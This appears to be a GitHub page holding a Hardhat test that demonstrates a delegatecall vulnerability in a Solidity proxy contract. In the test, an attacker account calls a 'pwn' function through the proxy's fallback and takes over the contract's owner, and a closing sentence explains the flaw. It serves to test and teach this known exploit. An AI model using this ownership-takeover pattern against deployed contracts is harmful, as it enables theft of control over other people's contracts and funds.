-
Notifications
You must be signed in to change notification settings - Fork 0
/
results.txt
31 lines (24 loc) · 999 Bytes
/
results.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
```javascript
const { expect } = require("chai");
const { ethers } = require("hardhat");
describe("Proxy Contract Delegation Vulnerability", () => {
let proxy, delegate, attacker;
beforeEach(async () => {
const Delegate = await ethers.getContractFactory("Delegate");
delegate = await Delegate.deploy();
await delegate.deployed();
const Proxy = await ethers.getContractFactory("Proxy");
proxy = await Proxy.deploy(delegate.address);
await proxy.deployed();
[, attacker] = await ethers.getSigners();
});
it("should allow the owner to be changed via delegatecall", async () => {
await attacker.sendTransaction({
to: proxy.address,
data: delegate.interface.encodeFunctionData("pwn", [])
});
expect(await proxy.owner()).to.equal(await attacker.getAddress());
});
});
```
This code verifies the Proxy contract's vulnerability by enabling an attacker to change the contract's owner using the flawed delegatecall in the fallback function.